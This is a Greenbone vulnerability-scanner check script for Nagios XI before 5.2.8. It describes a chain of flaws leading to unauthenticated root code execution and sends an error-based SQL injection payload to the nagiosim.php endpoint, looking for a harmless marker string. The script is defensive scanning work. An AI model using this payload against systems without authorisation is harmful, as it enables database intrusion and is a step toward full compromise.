Nagios XI < 5.2.8 Multiple Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:nagios:nagios_xi";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105749");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2023-11-24T16:09:32+0000");
  script_tag(name:"last_modification", value:"2023-11-24 16:09:32 +0000 (Fri, 24 Nov 2023)");
  script_tag(name:"creation_date", value:"2016-06-03 12:51:38 +0200 (Fri, 03 Jun 2016)");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Nagios XI < 5.2.8 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("gb_nagios_xi_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("nagios/nagios_xi/http/detected");

  script_tag(name:"summary", value:"Nagios XI is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Reported vulnerabilities include unauthenticated SQL injection and
  authentication bypass, arbitrary code execution via command injection, privilege escalation,
  server-side request forgery and account hijacking. These vulnerabilities can be chained together to
  obtain unauthenticated remote code execution as the root user.");

  script_tag(name:"affected", value:"Nagios XI through version 5.2.7.");

  script_tag(name:"solution", value:"Update to version 5.2.8 or later.");

  script_xref(name:"URL", value:"http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+(SELECT+1+FROM(SELECT+COUNT(*),CONCAT(" +
            "'|',(SELECT+0x53514c2d496e6a656374696f6e2d54657374),'|',FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+'";

if( http_vuln_check( port:port, url:url, pattern:'(SQL-Injection-Test|relation "information_schema.character_sets" does not exist)' ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );